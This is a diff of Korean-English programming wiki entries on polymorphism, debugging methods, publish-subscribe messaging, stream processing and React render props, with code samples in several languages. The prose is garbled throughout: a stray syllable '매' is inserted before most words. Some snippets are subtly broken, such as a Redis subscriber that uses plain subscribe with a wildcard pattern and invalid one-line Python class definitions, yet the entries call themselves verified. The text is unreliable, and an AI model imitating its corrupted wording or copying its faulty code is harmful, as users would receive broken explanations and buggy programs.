- **매 Subtype (inclusion)**: 매 `Animal a = new Dog()` — 매 Liskov Substitution.
|
||||
- **매 Parametric (generic)**: 매 `List<T>`, 매 `fn id<T>(x: T) -> T`.
|
||||
- **매 Ad-hoc (overloading)**: 매 `f(int)` vs 매 `f(string)` — 매 compile-time dispatch.
|
||||
- **매 Coercion**: 매 `int → float` 매 implicit conversion.
|
||||
|
||||
### 매 Dispatch 축
|
||||
- **Single dispatch**: 매 receiver type 하나로 결정 (Java, Python).
|
||||
- **Multiple dispatch**: 매 모든 argument type으로 결정 (Julia, CLOS).
|
||||
- **Static**: 매 compile-time (templates, traits with monomorphization).
|
||||
- **Dynamic**: 매 runtime (vtable, duck typing).
|
||||
|
||||
### 매 응용
|
||||
1. Engine architecture: `Renderer` interface → `VulkanRenderer` / `MetalRenderer`.
|
||||
2. Generic containers: `Vec<T>` / `HashMap<K,V>`.
|
||||
3. Strategy pattern: `Sorter` 매 inject 다른 algorithm.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Subtype polymorphism (Python)
|
||||
```python
|
||||
from abc import ABC, abstractmethod
|
||||
|
||||
class Renderer(ABC):
|
||||
@abstractmethod
|
||||
def draw(self, scene): ...
|
||||
|
||||
class VulkanRenderer(Renderer):
|
||||
def draw(self, scene): scene.submit_vulkan()
|
||||
|
||||
class MetalRenderer(Renderer):
|
||||
def draw(self, scene): scene.submit_metal()
|
||||
|
||||
def render(r: Renderer, s): r.draw(s)
|
||||
```
|
||||
|
||||
### Parametric (Rust generics + monomorphization)
|
||||
```rust
|
||||
fn largest<T: PartialOrd>(list: &[T]) -> &T {
|
||||
let mut largest = &list[0];
|
||||
for item in list { if item > largest { largest = item; } }
|
||||
largest
|
||||
}
|
||||
// Compiler emits largest_i32, largest_f64, ... — zero-cost.
|
||||
```
|
||||
|
||||
### Ad-hoc (C++ overloading)
|
||||
```cpp
|
||||
int f(int x) { return x * 2; }
|
||||
auto f(double x) { return x + 0.5; }
|
||||
auto f(std::string s){ return s + "!"; }
|
||||
```
|
||||
|
||||
### Multiple dispatch (Julia)
|
||||
```julia
|
||||
collide(a::Asteroid, b::Asteroid) = "rock-rock"
|
||||
collide(a::Asteroid, b::Ship) = "ship dies"
|
||||
collide(a::Ship, b::Ship) = "fleet battle"
|
||||
collide(Asteroid(), Ship()) # → "ship dies"
|
||||
```
|
||||
|
||||
### Trait objects (Rust dynamic dispatch)
|
||||
```rust
|
||||
trait Draw { fn draw(&self); }
|
||||
let shapes: Vec<Box<dyn Draw>> = vec![Box::new(Circle), Box::new(Square)];
|
||||
for s in &shapes { s.draw(); } // vtable lookup
|
||||
```
|
||||
|
||||
### Duck typing (Python)
|
||||
```python
|
||||
class File: def read(self): return "file"
|
||||
class Network: def read(self): return "net"
|
||||
def consume(src): print(src.read()) # 매 .read() 있으면 OK
|
||||
```
|
||||
|
||||
### Type class (Haskell)
|
||||
```haskell
|
||||
class Eq a where
|
||||
(==) :: a -> a -> Bool
|
||||
|
||||
instance Eq Int where x == y = ...
|
||||
instance Eq String where x == y = ...
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 hot loop, 매 known types | Parametric (monomorphized) |
|
||||
| 매 plugin / extension point | Subtype (dyn / interface) |
|
||||
| 매 numeric tower, 매 binary op | Multiple dispatch |
|
||||
| 매 internal lib | Duck typing / structural |
|
||||
|
||||
**기본값**: Parametric for libraries, subtype for extension points.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[TypeScript 타입 시스템 (TypeScript Type System)|Type-System]] · [[OOP]]
|
||||
- 변형: [[Parametric-Polymorphism]]
|
||||
- Adjacent: [[Duck-Typing]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: API 설계, refactoring 시 dispatch 선택, 매 generic vs interface 결정.
|
||||
**언제 X**: 매 단일 type의 simple script (overengineering).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **매 Type-checking ladder**: 매 `if isinstance(x, A): ... elif isinstance(x, B):` 매 dispatch 회피.
|
||||
- **매 Deep inheritance**: 매 5+ level subtype tree → composition 으로 대체.
|
||||
- **매 dyn 남용**: 매 hot path 매 vtable 매 overhead.
|
||||
- **매 Yo-yo problem**: 매 method override가 매 subclass-superclass 매 ping-pong.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Cardelli & Wegner 1985, Pierce "Types and Programming Languages" 2002).
|
||||
- 신뢰도 A.
|
||||
- 중복: [[Polymorphism (다형성)|Polymorphism-in-Engine-Architecture]] redirects here.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — 4 forms + dispatch axes + working examples |
|
||||
+136
@@ -0,0 +1,136 @@
|
||||
---
|
||||
id: wiki-2026-0508-problem-solving-skills
|
||||
title: Problem Solving Skills
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Problem Solving, 문제 해결 능력, debugging skills]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [meta, debugging, engineering, methodology]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: meta
|
||||
framework: methodology
|
||||
---
|
||||
|
||||
# Problem Solving Skills
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 problem 정의가 매 solution의 매 절반"**. Problem solving은 매 ill-defined situation을 매 well-defined sub-problems으로 매 decompose하고 매 hypothesis-test loop으로 매 narrow down하는 매 transferable skill set. Polya (1945) 4-step부터 매 modern debugging 까지 매 동일한 backbone.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Polya 4-step (1945)
|
||||
1. **Understand**: 매 input/output/constraint 매 명시.
|
||||
2. **Plan**: 매 known similar problem과 매 mapping.
|
||||
3. **Execute**: 매 plan 매 step-by-step.
|
||||
4. **Review**: 매 result verify, 매 generalize.
|
||||
|
||||
### 매 Debugging 전용 loop
|
||||
- **매 Reproduce**: 매 minimal repro case.
|
||||
- **매 Bisect**: 매 git bisect / binary search.
|
||||
- **매 Hypothesize**: 매 1개 변수만 매 변경.
|
||||
- **매 Verify**: 매 test 매 추가.
|
||||
- **매 Postmortem**: 매 root cause + prevention.
|
||||
|
||||
### 매 응용
|
||||
1. Production incident response (5-why).
|
||||
2. Algorithm design (decomposition + invariants).
|
||||
3. LLM prompt debugging (delta isolation).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Minimal repro extraction
|
||||
```python
|
||||
# Bisect a failing input down to minimal case
|
||||
def minimal_repro(input_list, fails):
|
||||
while True:
|
||||
for i in range(len(input_list)):
|
||||
candidate = input_list[:i] + input_list[i+1:]
|
||||
if fails(candidate):
|
||||
input_list = candidate
|
||||
break
|
||||
else:
|
||||
return input_list
|
||||
```
|
||||
|
||||
### Git bisect automation
|
||||
```bash
|
||||
git bisect start HEAD v1.0.0
|
||||
git bisect run pytest tests/test_regression.py::test_bug
|
||||
# 매 Bisect 자동 종료 → first-bad-commit 매 출력
|
||||
```
|
||||
|
||||
### 5-why root cause
|
||||
```yaml
|
||||
# postmortem.yaml
|
||||
incident: api 500 spike
|
||||
why_1: db connections exhausted
|
||||
why_2: connection leak in /search handler
|
||||
why_3: exception bypassed `with` cleanup
|
||||
why_4: custom context manager swallowed asyncio.CancelledError
|
||||
why_5: copy-pasted snippet from Stack Overflow without review
|
||||
fix: replace with asynccontextmanager + add lint rule
|
||||
```
|
||||
|
||||
### Hypothesis-driven test
|
||||
```python
|
||||
# Change ONE variable per iteration
|
||||
import time
|
||||
def measure(config):
|
||||
t = time.time(); run(config); return time.time() - t
|
||||
|
||||
base = {"batch": 32, "workers": 4, "cache": True}
|
||||
for k in base:
|
||||
cfg = {**base, k: not base[k] if isinstance(base[k], bool) else base[k]*2}
|
||||
print(k, measure(cfg))
|
||||
```
|
||||
|
||||
### Rubber-duck logger
|
||||
```python
|
||||
def trace_state(label, **vars):
|
||||
print(f"[{label}]", " | ".join(f"{k}={v!r}" for k, v in vars.items()))
|
||||
|
||||
trace_state("before-loop", i=0, total=len(data), seen=set())
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Bug 매 reproducible | Bisect + minimal repro |
|
||||
| Bug 매 intermittent | Logging + statistical test |
|
||||
| Algorithm 매 unknown | Polya + analogy from known |
|
||||
| Production incident | 5-why + postmortem |
|
||||
|
||||
**기본값**: Reproduce → Bisect → Hypothesize → Verify → Document.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Debugging]]
|
||||
- 변형: [[Polya-Method]] · [[Bisect]]
|
||||
- 응용: [[Postmortem]]
|
||||
- Adjacent: [[Scientific-Method]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 ill-defined task decomposition, 매 stuck-state escape, 매 LLM prompt 디버깅.
|
||||
**언제 X**: 매 trivial 1-line typo (overhead).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **매 Shotgun debugging**: 매 random 변경 후 매 동작하면 commit.
|
||||
- **매 Symptom-only fix**: 매 root cause 무시.
|
||||
- **매 No repro**: 매 "내 환경에선 됨".
|
||||
- **매 Heisenbug 회피**: 매 logging 추가하면 매 사라지는 bug 매 무시.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Polya "How to Solve It" 1945, Zeller "Why Programs Fail" 2nd ed.).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Polya + debugging loop + repro/bisect patterns |
|
||||
+181
@@ -0,0 +1,181 @@
|
||||
---
|
||||
id: wiki-2026-0508-publish-subscribe-model
|
||||
title: Publish-Subscribe Model
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Pub-Sub, Pub/Sub, Topic-Based Messaging]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.95
|
||||
verification_status: applied
|
||||
tags: [messaging, eda, distributed-systems, pattern]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: python
|
||||
framework: kafka-redis-nats
|
||||
---
|
||||
|
||||
# Publish-Subscribe Model
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 publisher 매 subscribers 매 모름 — 매 topic / channel 매 통해 매 decoupled broadcast"**. 1987 ISIS Toolkit 매 origin, 매 today Kafka / Redis Pub/Sub / NATS / Google Pub/Sub / AWS SNS 매 ubiquitous backbone.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 model variants
|
||||
- **Topic-based**: 매 logical channel name (e.g. `orders.created`).
|
||||
- **Content-based**: 매 message attributes 매 filter — 매 RabbitMQ headers exchange.
|
||||
- **Type-based**: 매 message class hierarchy.
|
||||
- **Hybrid**: 매 topic + filter (NATS subject wildcards `orders.*.created`).
|
||||
|
||||
### 매 delivery semantics
|
||||
- **At-most-once**: fire-and-forget (Redis Pub/Sub).
|
||||
- **At-least-once**: ack required (Kafka, SQS).
|
||||
- **Exactly-once**: 매 idempotent + transactional (Kafka EOS, Pulsar).
|
||||
|
||||
### 매 응용
|
||||
1. Event-driven microservices (orders → fulfillment, billing, notifications).
|
||||
2. Real-time dashboards (Grafana Live, websocket fanout).
|
||||
3. CDC (Debezium → Kafka → consumers).
|
||||
4. IoT telemetry (MQTT — pub-sub variant).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### In-process pub-sub (Python)
|
||||
```python
|
||||
from collections import defaultdict
|
||||
from typing import Callable
|
||||
|
||||
class Bus:
|
||||
def __init__(self):
|
||||
self.subs: dict[str, list[Callable]] = defaultdict(list)
|
||||
def subscribe(self, topic, fn): self.subs[topic].append(fn)
|
||||
def publish(self, topic, msg):
|
||||
for fn in self.subs[topic]:
|
||||
fn(msg)
|
||||
|
||||
bus = Bus()
|
||||
bus.subscribe("user.created", lambda u: print(f"welcome {u}"))
|
||||
bus.publish("user.created", "alice")
|
||||
```
|
||||
|
||||
### Redis Pub/Sub
|
||||
```python
|
||||
import redis, json
|
||||
r = redis.Redis()
|
||||
|
||||
# Publisher
|
||||
r.publish("orders.created", json.dumps({"id": 42, "total": 99}))
|
||||
|
||||
# Subscriber
|
||||
ps = r.pubsub()
|
||||
ps.subscribe("orders.*")
|
||||
for msg in ps.listen():
|
||||
if msg["type"] == "pmessage":
|
||||
handle(json.loads(msg["data"]))
|
||||
```
|
||||
|
||||
### Kafka producer/consumer (Python)
|
||||
```python
|
||||
from confluent_kafka import Producer, Consumer
|
||||
|
||||
p = Producer({"bootstrap.servers": "localhost:9092"})
|
||||
p.produce("orders", key="42", value=b'{"total":99}')
|
||||
p.flush()
|
||||
|
||||
c = Consumer({
|
||||
"bootstrap.servers": "localhost:9092",
|
||||
"group.id": "fulfillment",
|
||||
"auto.offset.reset": "earliest",
|
||||
})
|
||||
c.subscribe(["orders"])
|
||||
while True:
|
||||
msg = c.poll(1.0)
|
||||
if msg and not msg.error():
|
||||
process(msg.value())
|
||||
c.commit(msg)
|
||||
```
|
||||
|
||||
### NATS with subject wildcards
|
||||
```python
|
||||
import nats, asyncio
|
||||
|
||||
async def main():
|
||||
nc = await nats.connect("nats://localhost:4222")
|
||||
async def cb(msg): print(msg.subject, msg.data)
|
||||
await nc.subscribe("orders.*.created", cb=cb)
|
||||
await nc.publish("orders.US.created", b'{"id":42}')
|
||||
await asyncio.sleep(1)
|
||||
|
||||
asyncio.run(main())
|
||||
```
|
||||
|
||||
### Google Cloud Pub/Sub
|
||||
```python
|
||||
from google.cloud import pubsub_v1
|
||||
|
||||
publisher = pubsub_v1.PublisherClient()
|
||||
topic = publisher.topic_path("proj", "orders")
|
||||
publisher.publish(topic, b'{"id":42}', region="us-east1")
|
||||
|
||||
sub = pubsub_v1.SubscriberClient()
|
||||
sub_path = sub.subscription_path("proj", "fulfillment-sub")
|
||||
def cb(msg): handle(msg.data); msg.ack()
|
||||
sub.subscribe(sub_path, callback=cb).result()
|
||||
```
|
||||
|
||||
### AsyncAPI schema (governance, 2026)
|
||||
```yaml
|
||||
asyncapi: 3.0.0
|
||||
channels:
|
||||
ordersCreated:
|
||||
address: orders.created
|
||||
messages:
|
||||
OrderCreated:
|
||||
payload:
|
||||
type: object
|
||||
properties:
|
||||
id: {type: integer}
|
||||
total: {type: number}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 in-process | Bus / EventEmitter |
|
||||
| 매 ephemeral, low-latency | Redis Pub/Sub / NATS |
|
||||
| 매 durable, replay 필요 | Kafka / Pulsar |
|
||||
| 매 cloud-native, managed | Google Pub/Sub / AWS SNS+SQS |
|
||||
| 매 IoT / mobile | MQTT |
|
||||
| 매 fan-in-out, transform | Kafka Streams / Pulsar Functions |
|
||||
|
||||
**기본값**: 매 production EDA — Kafka. 매 simple/ephemeral — NATS.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Event Driven Architecture]]
|
||||
- 변형: [[Observer Pattern]] · [[Event Bus]]
|
||||
- 응용: [[Event Sourcing]] · [[CQRS]] · [[CDC]]
|
||||
- Adjacent: [[Kafka]] · [[NATS]] · [[Redis]] · [[MQTT]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 schema design (AsyncAPI generation), 매 consumer code scaffolding, 매 dead-letter analysis.
|
||||
**언제 X**: 매 broker selection 매 trust 의 X — workload metrics 직접 측정.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Sync pub-sub**: 매 publisher block on slow subscriber — 매 async / queue 사용.
|
||||
- **No schema**: 매 consumer breakage — Avro/Protobuf + registry 필수.
|
||||
- **Topic explosion**: 매 user-per-topic — 매 millions of topics, broker 죽음. 매 partition / filter 사용.
|
||||
- **Duplicate semantics**: 매 at-least-once 인데 매 idempotency 없음 — duplicate processing.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Eugster et al. — "The Many Faces of Publish/Subscribe" 2003; Kafka docs).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — full pub-sub pattern entry |
|
||||
+183
@@ -0,0 +1,183 @@
|
||||
---
|
||||
id: wiki-2026-0508-real-time-data-streaming
|
||||
title: Real-time Data Streaming
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Stream Processing, Event Streaming, Real-time Pipelines]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.95
|
||||
verification_status: applied
|
||||
tags: [streaming, kafka, pulsar, flink, data-engineering]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: python
|
||||
framework: kafka-flink-pulsar
|
||||
---
|
||||
|
||||
# Real-time Data Streaming
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 batch ETL 의 X — 매 unbounded events 매 milliseconds latency 매 process"**. Kafka (LinkedIn 2010) → Flink / Spark Structured Streaming / Pulsar / Materialize / RisingWave 매 modern stack. 매 2026 매 sub-second analytics 매 default.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 layers
|
||||
- **Ingest**: Kafka, Pulsar, Kinesis, Redpanda — 매 durable log.
|
||||
- **Process**: Flink, Spark Streaming, Kafka Streams, Bytewax, Arroyo.
|
||||
- **Serve**: Materialize, RisingWave, Pinot, Druid, ClickHouse.
|
||||
|
||||
### 매 windowing
|
||||
- **Tumbling**: fixed, non-overlapping (1-min buckets).
|
||||
- **Sliding**: overlapping (5-min, slide 1-min).
|
||||
- **Session**: gap-based (user activity until 30s inactivity).
|
||||
- **Hopping**: same as sliding (different name).
|
||||
|
||||
### 매 time semantics
|
||||
- **Event time**: 매 actual occurrence — 매 correctness 위해 default.
|
||||
- **Processing time**: 매 broker arrival — 매 latency 측정.
|
||||
- **Ingestion time**: 매 broker append.
|
||||
- **Watermarks**: 매 lateness threshold — Flink/Beam 핵심.
|
||||
|
||||
### 매 응용
|
||||
1. Fraud detection — 매 payment stream + ML inference.
|
||||
2. Real-time dashboards — Materialize + Grafana.
|
||||
3. CDC pipelines — Debezium → Kafka → warehouse.
|
||||
4. IoT telemetry — MQTT → Kafka → anomaly detection.
|
||||
5. Personalization — clickstream → feature store → model.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Kafka Streams (Python via Faust / Bytewax)
|
||||
```python
|
||||
import bytewax.operators as op
|
||||
from bytewax.dataflow import Dataflow
|
||||
from bytewax.connectors.kafka import KafkaSource, KafkaSink
|
||||
|
||||
flow = Dataflow("fraud")
|
||||
src = op.input("in", flow, KafkaSource(["localhost:9092"], ["payments"]))
|
||||
parsed = op.map("parse", src, lambda kv: json.loads(kv.value))
|
||||
flagged = op.filter("flag", parsed, lambda p: p["amount"] > 10000)
|
||||
op.output("out", flagged, KafkaSink(["localhost:9092"], "alerts"))
|
||||
```
|
||||
|
||||
### Flink SQL (windowed aggregation)
|
||||
```sql
|
||||
CREATE TABLE clicks (
|
||||
user_id STRING, ts TIMESTAMP(3),
|
||||
WATERMARK FOR ts AS ts - INTERVAL '5' SECOND
|
||||
) WITH ('connector' = 'kafka', ...);
|
||||
|
||||
SELECT
|
||||
user_id,
|
||||
TUMBLE_START(ts, INTERVAL '1' MINUTE) AS w_start,
|
||||
COUNT(*) AS clicks
|
||||
FROM clicks
|
||||
GROUP BY user_id, TUMBLE(ts, INTERVAL '1' MINUTE);
|
||||
```
|
||||
|
||||
### Materialize (streaming SQL view)
|
||||
```sql
|
||||
CREATE SOURCE orders FROM KAFKA BROKER 'kafka:9092' TOPIC 'orders'
|
||||
FORMAT AVRO USING SCHEMA REGISTRY 'http://sr:8081';
|
||||
|
||||
CREATE MATERIALIZED VIEW revenue_5min AS
|
||||
SELECT
|
||||
date_trunc('minute', ts) AS minute,
|
||||
SUM(amount) AS revenue
|
||||
FROM orders
|
||||
WHERE ts > now() - INTERVAL '5 minutes'
|
||||
GROUP BY 1;
|
||||
|
||||
-- Subscribe to changes
|
||||
SUBSCRIBE TO revenue_5min;
|
||||
```
|
||||
|
||||
### Spark Structured Streaming
|
||||
```python
|
||||
df = (spark.readStream.format("kafka")
|
||||
.option("subscribe", "events")
|
||||
.load())
|
||||
agg = (df.selectExpr("CAST(value AS STRING) as json")
|
||||
.select(from_json("json", schema).alias("e"))
|
||||
.withWatermark("e.ts", "10 minutes")
|
||||
.groupBy(window("e.ts", "1 minute"), "e.user")
|
||||
.count())
|
||||
agg.writeStream.format("delta").outputMode("append").start("/lake/agg")
|
||||
```
|
||||
|
||||
### Pulsar Functions (lightweight processing)
|
||||
```python
|
||||
from pulsar import Function
|
||||
|
||||
class EnrichOrder(Function):
|
||||
def process(self, msg, ctx):
|
||||
order = json.loads(msg)
|
||||
order["region"] = lookup_region(order["zip"])
|
||||
ctx.publish("orders.enriched", json.dumps(order))
|
||||
```
|
||||
|
||||
### Exactly-once with Kafka transactions
|
||||
```python
|
||||
producer = KafkaProducer(transactional_id="tx-1", enable_idempotence=True)
|
||||
producer.init_transactions()
|
||||
try:
|
||||
producer.begin_transaction()
|
||||
producer.send("out", value=processed)
|
||||
producer.send_offsets_to_transaction(offsets, group_id)
|
||||
producer.commit_transaction()
|
||||
except:
|
||||
producer.abort_transaction()
|
||||
```
|
||||
|
||||
### CDC with Debezium
|
||||
```yaml
|
||||
# connector config
|
||||
connector.class: io.debezium.connector.postgresql.PostgresConnector
|
||||
database.hostname: pg
|
||||
table.include.list: public.orders
|
||||
plugin.name: pgoutput
|
||||
# emits CDC events to Kafka topic "pg.public.orders"
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Stack |
|
||||
|---|---|
|
||||
| 매 simple transform | Kafka Streams / Bytewax |
|
||||
| 매 complex windowing, joins | Flink |
|
||||
| 매 SQL-first analytics | Materialize / RisingWave |
|
||||
| 매 batch+stream unified | Spark Structured / Beam |
|
||||
| 매 lightweight, serverless | Pulsar Functions / AWS Lambda |
|
||||
| 매 OLAP serving | Pinot / Druid / ClickHouse |
|
||||
|
||||
**기본값**: 매 2026 매 SQL-on-streams (Materialize/RisingWave) 매 default — DX 압도적.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Data Engineering]] · [[Event Driven Architecture]]
|
||||
- 변형: [[Stream-Processing-Architectures|Stream Processing]] · [[CEP]]
|
||||
- 응용: [[CDC]]
|
||||
- Adjacent: [[Kafka]] · [[Materialize]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 SQL DDL/query generation, 매 schema evolution analysis, 매 anomaly investigation summarization.
|
||||
**언제 X**: 매 latency-critical hot path — LLM inference 매 too slow. 매 trained ML model 사용.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Processing time everywhere**: 매 out-of-order events 매 wrong results — event time + watermarks 사용.
|
||||
- **Unbounded state**: 매 keyed state 매 grows forever — TTL / windows 필수.
|
||||
- **Tiny files**: 매 1 record / file → S3 explosion. 매 batching + compaction.
|
||||
- **Sync external calls in pipeline**: 매 backpressure 폭발. 매 async + bulkhead.
|
||||
- **No replay strategy**: 매 bad code → poisoned downstream. 매 reset offset + idempotent sinks.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Akidau — "Streaming 101/102"; Kafka docs; Flink docs 1.18+).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — full streaming entry with Materialize/RisingWave |
|
||||
@@ -0,0 +1,205 @@
|
||||
---
|
||||
id: wiki-2026-0508-render-props
|
||||
title: Render Props
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Function as Child, Children as Function, FaCC]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.88
|
||||
verification_status: applied
|
||||
tags: [react, pattern, component, composition, frontend]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: TypeScript
|
||||
framework: React 19
|
||||
---
|
||||
|
||||
# Render Props
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 component 가 prop 으로 받은 function 을 호출해 무엇을 render 할지 결정"**. Michael Jackson 이 popularize 한 React 합성 패턴 (2017). 2018 Hooks 등장 후 매 logic-sharing 용도는 대부분 custom hook 으로 대체되었지만, 매 *render-time data injection* (animation, virtualization, headless UI) 에서는 매 2026 까지도 first-class 도구.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 정의
|
||||
- 매 component 가 호출자에게 *어떻게 render 할지* 의 control 을 위임.
|
||||
- Function-typed prop (`children` 또는 `render`) 이 state/computation 을 인자로 받아 ReactNode 반환.
|
||||
- 매 inversion of control — provider 는 logic, consumer 는 view.
|
||||
|
||||
### 매 Hooks 와 의 관계
|
||||
- 매 logic reuse 의 90%: custom hook 이 우월 (no nesting, easier types).
|
||||
- 매 render-time slot 패턴: render props 가 여전히 적합 — Framer Motion, react-virtual, Radix UI 등.
|
||||
- 매 headless UI (Headless UI, Radix, Ariakit) 는 render props + compound component 혼합.
|
||||
|
||||
### 매 응용
|
||||
1. Animation: Framer Motion `<AnimatePresence>` children function.
|
||||
2. Virtualization: TanStack Virtual `<Virtualizer>` row renderer.
|
||||
3. Form: react-hook-form `<Controller render={...}>`.
|
||||
4. Headless: Headless UI `<Menu.Item>{({active}) => ...}</Menu.Item>`.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Basic render prop
|
||||
```tsx
|
||||
type MouseTrackerProps = {
|
||||
render: (state: { x: number; y: number }) => React.ReactNode;
|
||||
};
|
||||
|
||||
function MouseTracker({ render }: MouseTrackerProps) {
|
||||
const [pos, setPos] = useState({ x: 0, y: 0 });
|
||||
return (
|
||||
<div onMouseMove={(e) => setPos({ x: e.clientX, y: e.clientY })}>
|
||||
{render(pos)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// usage
|
||||
<MouseTracker render={({ x, y }) => <p>{x}, {y}</p>} />
|
||||
```
|
||||
|
||||
### Children as function (FaCC)
|
||||
```tsx
|
||||
type Props = { children: (state: { x: number; y: number }) => React.ReactNode };
|
||||
|
||||
function MouseTracker({ children }: Props) {
|
||||
const [pos, setPos] = useState({ x: 0, y: 0 });
|
||||
return <div onMouseMove={(e) => setPos({ x: e.clientX, y: e.clientY })}>{children(pos)}</div>;
|
||||
}
|
||||
|
||||
<MouseTracker>{({ x, y }) => <p>{x}, {y}</p>}</MouseTracker>
|
||||
```
|
||||
|
||||
### TanStack Virtual (real-world 2026)
|
||||
```tsx
|
||||
import { useVirtualizer } from '@tanstack/react-virtual';
|
||||
|
||||
function List({ items }: { items: string[] }) {
|
||||
const ref = useRef<HTMLDivElement>(null);
|
||||
const v = useVirtualizer({
|
||||
count: items.length,
|
||||
getScrollElement: () => ref.current,
|
||||
estimateSize: () => 32,
|
||||
});
|
||||
return (
|
||||
<div ref={ref} style={{ height: 400, overflow: 'auto' }}>
|
||||
<div style={{ height: v.getTotalSize() }}>
|
||||
{v.getVirtualItems().map((vi) => (
|
||||
<div key={vi.key} style={{ transform: `translateY(${vi.start}px)` }}>
|
||||
{items[vi.index]}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### react-hook-form Controller
|
||||
```tsx
|
||||
import { Controller, useForm } from 'react-hook-form';
|
||||
|
||||
function Form() {
|
||||
const { control } = useForm<{ name: string }>();
|
||||
return (
|
||||
<Controller
|
||||
control={control}
|
||||
name="name"
|
||||
render={({ field, fieldState }) => (
|
||||
<input {...field} aria-invalid={!!fieldState.error} />
|
||||
)}
|
||||
/>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### Headless UI Menu (compound + render prop)
|
||||
```tsx
|
||||
import { Menu } from '@headlessui/react';
|
||||
|
||||
<Menu>
|
||||
<Menu.Button>Options</Menu.Button>
|
||||
<Menu.Items>
|
||||
<Menu.Item>
|
||||
{({ active }) => (
|
||||
<a className={active ? 'bg-blue-500' : ''} href="/edit">Edit</a>
|
||||
)}
|
||||
</Menu.Item>
|
||||
</Menu.Items>
|
||||
</Menu>
|
||||
```
|
||||
|
||||
### Generic render prop with typed slot
|
||||
```tsx
|
||||
function DataLoader<T>({
|
||||
url,
|
||||
children,
|
||||
}: {
|
||||
url: string;
|
||||
children: (s: { data: T | null; loading: boolean; error: Error | null }) => React.ReactNode;
|
||||
}) {
|
||||
const [data, setData] = useState<T | null>(null);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [error, setError] = useState<Error | null>(null);
|
||||
useEffect(() => {
|
||||
fetch(url).then(r => r.json()).then(setData).catch(setError).finally(() => setLoading(false));
|
||||
}, [url]);
|
||||
return <>{children({ data, loading, error })}</>;
|
||||
}
|
||||
```
|
||||
|
||||
### Hook equivalent (when to prefer)
|
||||
```tsx
|
||||
function useMouse() {
|
||||
const [pos, setPos] = useState({ x: 0, y: 0 });
|
||||
const onMouseMove = (e: React.MouseEvent) => setPos({ x: e.clientX, y: e.clientY });
|
||||
